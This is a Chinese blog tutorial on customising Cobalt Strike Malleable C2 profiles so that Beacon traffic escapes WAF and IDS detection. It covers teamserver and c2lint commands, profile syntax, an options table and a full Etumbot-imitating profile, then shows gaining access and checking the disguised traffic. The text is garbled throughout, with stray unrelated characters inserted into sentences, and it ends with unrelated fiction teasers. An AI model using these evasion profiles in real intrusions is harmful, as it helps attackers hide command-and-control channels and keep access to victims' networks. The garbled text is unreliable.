Cobalt Strike從入門到精通之定制配置文件進(jìn)行高級(jí)攻擊

在線視頻地址

Cobalt Strike的配置文件講解

簡(jiǎn)介

Beacon是Cobalt Strike為高級(jí)攻擊者建模的Payload。使用Beacon通過(guò)HTTP,HTTPS或DNS出口網(wǎng)絡(luò)酸舍。而且Beacon非常靈活,支持異步和交互式通信让腹。異步通信既低又慢赡若。Beacon將通訊本地盒音,下載任務(wù)埋合,然后進(jìn)入睡眠狀態(tài)卒废。交互式通信實(shí)時(shí)發(fā)生粥谬。

cobalt Strike 的Beacon(信標(biāo))的一些Http特征信息可以由C2配置文件進(jìn)行修改和定制化伐庭,所以可定制的C2配置文件可以指定服務(wù)端如何發(fā)送,接受數(shù)據(jù)的規(guī)律和格式原押,防止被WAF胁镐,IDS對(duì)流量進(jìn)行識(shí)別導(dǎo)致被發(fā)現(xiàn)。

image

可以在啟動(dòng)cs服務(wù)端的時(shí)候诸衔,指定一個(gè)配置文件進(jìn)行加載

./teamserver [external IP] [password] [/path/to/my.profile]

配置文件詳解

檢查配置文件

cobalt Strike提供了一個(gè)小程序C2lint盯漂,用來(lái)檢查你編寫的配置文件是否是可用的,是否有錯(cuò)誤笨农,這個(gè)程序會(huì)檢查你的語(yǔ)法是否正確就缆,并且會(huì)生成一個(gè)簡(jiǎn)單的交互過(guò)程讓你預(yù)覽,cobalt Strike強(qiáng)烈推薦你在正式使用之前用這個(gè)小程序來(lái)檢查一下谒亦。

./c2lint [/path/to/my.profile]

編寫配置文件

編寫一個(gè)配置文件最好的方式就是根據(jù)現(xiàn)有的配置文件進(jìn)行修改竭宰,現(xiàn)在提供一個(gè)github上面的C2-Profiles例子:

https://github.com/rsmudge/Malleable-C2-Profiles

可以看到配置文件大概長(zhǎng)這樣:

set global_option "value";

protocol-transaction {
    set local_option "value";

    client {
        # customize client indicators
    }

    server {
        # customize server indicators
    }
}

所有的配置信息都是寫在{}大括號(hào)里面。

例如:


http-get {
        set uri "/fengxuan";
        client {
                metadata {
                        base64;
                        prepend "user=";
                        header "Cookie";
                }
        }
}

這個(gè)配置定義了在HTTP協(xié)議中Get請(qǐng)求的傳輸份招,第一句set uri, 表示切揭,在當(dāng)請(qǐng)求/fengxuan這個(gè)URL的時(shí)候,會(huì)執(zhí)行以下的配置锁摔。

那么整段配置是什么意思呢廓旬?

就是在請(qǐng)求/fengxuan 這個(gè)地址的時(shí)候,http header中的 user字段里面的內(nèi)容會(huì)進(jìn)行base64加密然后再進(jìn)行傳輸谐腰,從這個(gè)地址接受的返回包孕豹,http header中的 user字段會(huì)進(jìn)行base64解密。

數(shù)據(jù)傳輸?shù)臉?biāo)記語(yǔ)法

Statement Action Inverse
append "string" 追加"string"參數(shù) 去除strings參數(shù)的字符串
base64 Base64 編碼 Base64 解碼
base64url 對(duì)url進(jìn)行Base64 編碼 對(duì)url進(jìn)行Base64 解碼
mask XOR mask w/ random key XOR mask w/ same random key
netbios NetBIOS 編碼 NetBIOS 解碼
netbiosu NetBIOS 編碼(大寫) NetBIOS 解碼(大寫)
prepend "string" 添加"string"參數(shù) 去除strings參數(shù)的字符串

對(duì)標(biāo)記語(yǔ)法處理的四種方式

Statement What
header "header" 把編碼過(guò)后的參數(shù)作用于header中
parameter "key" 把編碼過(guò)后的參數(shù)作用于URL參數(shù)中
print 把編碼過(guò)后的參數(shù)作用于POST方式中的body中
uri-append 將編碼過(guò)后的參數(shù)追加到URL中

其他的選項(xiàng)

Option Context Default Value Changes
data_jitter 0 向http get和http post服務(wù)器輸出中附加隨機(jī)長(zhǎng)度字符串(取決于data_jitter的值)十气。
dns_idle 0.0.0.0 用于采用DNS信標(biāo)時(shí)的ip地址
dns_max_txt 252 最大的 DNS TXT 返回的長(zhǎng)度
dns_sleep 0 在每個(gè)dns請(qǐng)求之前的休眠時(shí)間. (毫秒值)
dns_stager_prepend Prepend text to payload stage delivered to DNS TXT record stager
dns_stager_subhost .stage.123456. DNS TXT記錄階段使用的子域名励背。
dns_ttl 1 DNS的TTL值
headers_remove 在客戶端請(qǐng)求中去掉的header值
host_stage true Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.
jitter 0 默認(rèn)增加的隨機(jī)值的比例(0-99%)
maxdns 255 上傳數(shù)據(jù)時(shí)最大的DNS主機(jī)名
pipename msagent_## 使用SMB信標(biāo)時(shí)點(diǎn)對(duì)點(diǎn)的名稱
pipename_stager status_## Name of pipe to use for SMB Beacon's named pipe stager. Each # is replaced with a random hex value.
sample_name My Profile The name of this profile (used in the Indicators of Compromise report)
sleeptime 60000 默認(rèn)休眠時(shí)間(毫秒值)
smb_frame_header Prepend header to SMB Beacon messages
ssh_banner Cobalt Strike 4.2 SSH client banner
ssh_pipename postex_ssh_#### Name of pipe for SSH sessions. Each # is replaced with a random hex value.
tcp_frame_header Prepend header to TCP Beacon messages
tcp_port 4444 TCP Beacon listen port
uri http-get, http-post [required option] 交互時(shí)候的URI地址
uri_x86 http-stager x86 payload stage URI
uri_x64 http-stager x64 payload stage URI
useragent Internet Explorer (Random) 默認(rèn)的User-Agent
verb http-get, http-post GET, POST 傳輸?shù)恼?qǐng)求協(xié)議

編寫好的配置文件模板

#
# Etumbot Profile
#   http://www.arbornetworks.com/asert/2014/06/illuminating-the-etumbot-apt-backdoor/
#
# Author: @harmj0y
#
set sample_name "Etumbot";

set sleeptime "5000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/image/";

    client {

        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
        header "Referer" "http://www.google.com";
        header "Pragma" "no-cache";
        header "Cache-Control" "no-cache";

        metadata {
            netbios;
            append "-.jpg";
            uri-append;
        }
    }

    server {

        header "Content-Type" "img/jpg";
        header "Server" "Microsoft-IIS/6.0";
        header "X-Powered-By" "ASP.NET";

        output {
            base64;
            print;
        }
    }
}

http-post {
    set uri "/history/";

    client {

        header "Content-Type" "application/octet-stream";
        header "Referer" "http://www.google.com";
        header "Pragma" "no-cache";
        header "Cache-Control" "no-cache";

        id {
            netbiosu;
            append ".asp";
            uri-append;
        }

        output {
            base64;
            print;
        }
    }

    server {

        header "Content-Type" "img/jpg";
        header "Server" "Microsoft-IIS/6.0";
        header "X-Powered-By" "ASP.NET";

        output {
            base64;
            print;
        }
    }
}

c2lint檢查

這個(gè)過(guò)程可以檢查并且預(yù)覽交互過(guò)程

image
image

注意:有些警告,這個(gè)警告有時(shí)候會(huì)影響運(yùn)行砸西,不過(guò)大多數(shù)都不會(huì)椅野。

實(shí)戰(zhàn)

啟動(dòng)服務(wù)進(jìn)行攻擊

啟動(dòng)服務(wù)并且加載我們的配置文件

image

獲取權(quán)限

image

WireShark分析流量

分析get流量

image

分析post流量

image

總結(jié)

cobalt strike 的配置文件可以進(jìn)行高級(jí)定制化的攻擊,有效防止WAF,和IDS的追查竟闪。可以達(dá)到長(zhǎng)期的維持訪問杖狼,在APT攻擊中還是比較重要的炼蛤。

如果圖文看不懂可以看視頻

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市蝶涩,隨后出現(xiàn)的幾起案子理朋,更是在濱河造成了極大的恐慌,老刑警劉巖绿聘,帶你破解...
    沈念sama閱讀 216,496評(píng)論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件嗽上,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡熄攘,警方通過(guò)查閱死者的電腦和手機(jī)兽愤,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,407評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)挪圾,“玉大人浅萧,你說(shuō)我怎么就攤上這事≌芩迹” “怎么了洼畅?”我有些...
    開封第一講書人閱讀 162,632評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)棚赔。 經(jīng)常有香客問我帝簇,道長(zhǎng),這世上最難降的妖魔是什么靠益? 我笑而不...
    開封第一講書人閱讀 58,180評(píng)論 1 292
  • 正文 為了忘掉前任丧肴,我火速辦了婚禮,結(jié)果婚禮上捆毫,老公的妹妹穿的比我還像新娘闪湾。我一直安慰自己,他們只是感情好绩卤,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,198評(píng)論 6 388
  • 文/花漫 我一把揭開白布途样。 她就那樣靜靜地躺著,像睡著了一般濒憋。 火紅的嫁衣襯著肌膚如雪何暇。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,165評(píng)論 1 299
  • 那天凛驮,我揣著相機(jī)與錄音裆站,去河邊找鬼。 笑死,一個(gè)胖子當(dāng)著我的面吹牛宏胯,可吹牛的內(nèi)容都是我干的羽嫡。 我是一名探鬼主播,決...
    沈念sama閱讀 40,052評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼肩袍,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼杭棵!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起氛赐,我...
    開封第一講書人閱讀 38,910評(píng)論 0 274
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤魂爪,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后艰管,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體滓侍,經(jīng)...
    沈念sama閱讀 45,324評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,542評(píng)論 2 332
  • 正文 我和宋清朗相戀三年牲芋,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了撩笆。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,711評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡街图,死狀恐怖浇衬,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情餐济,我是刑警寧澤耘擂,帶...
    沈念sama閱讀 35,424評(píng)論 5 343
  • 正文 年R本政府宣布,位于F島的核電站絮姆,受9級(jí)特大地震影響醉冤,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜篙悯,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,017評(píng)論 3 326
  • 文/蒙蒙 一蚁阳、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧鸽照,春花似錦螺捐、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,668評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至诞外,卻和暖如春澜沟,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背峡谊。 一陣腳步聲響...
    開封第一講書人閱讀 32,823評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工茫虽, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留刊苍,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 47,722評(píng)論 2 368
  • 正文 我出身青樓濒析,卻偏偏與公主長(zhǎng)得像正什,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子悼枢,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,611評(píng)論 2 353

推薦閱讀更多精彩內(nèi)容